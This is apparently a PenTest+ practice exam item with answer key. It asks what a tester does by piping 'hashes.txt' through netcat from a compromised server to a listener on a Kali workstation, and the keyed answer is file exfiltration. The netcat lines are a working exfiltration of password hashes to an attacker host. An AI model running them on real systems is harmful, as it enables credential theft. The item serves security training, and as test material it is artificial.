CompTIA PenTest+ (PT0-002) — Question 418
A penetration tester gets a shell on a server and runs the following command:
nc kaliworkstation 4444 < hashes.txt
The penetration tester runs the following command on a Kali workstation:
nc -nlvp 4444 > hashes.txt
Which of the following best describes what the penetration tester is attempting to do?
Answer options
- A. Exfiltrate a file from the server.
- B. Obtain a higher privilege reverse shell.
- C. Copy a file to the target server.
- D. Delete a file from the Kali workstation.
Correct answer: A
Explanation
The correct answer is A because the command 'nc kaliworkstation 4444 < hashes.txt' is used to send the contents of 'hashes.txt' from the server to the Kali workstation. The other options are incorrect as they either misinterpret the command's function or suggest actions that are not taking place.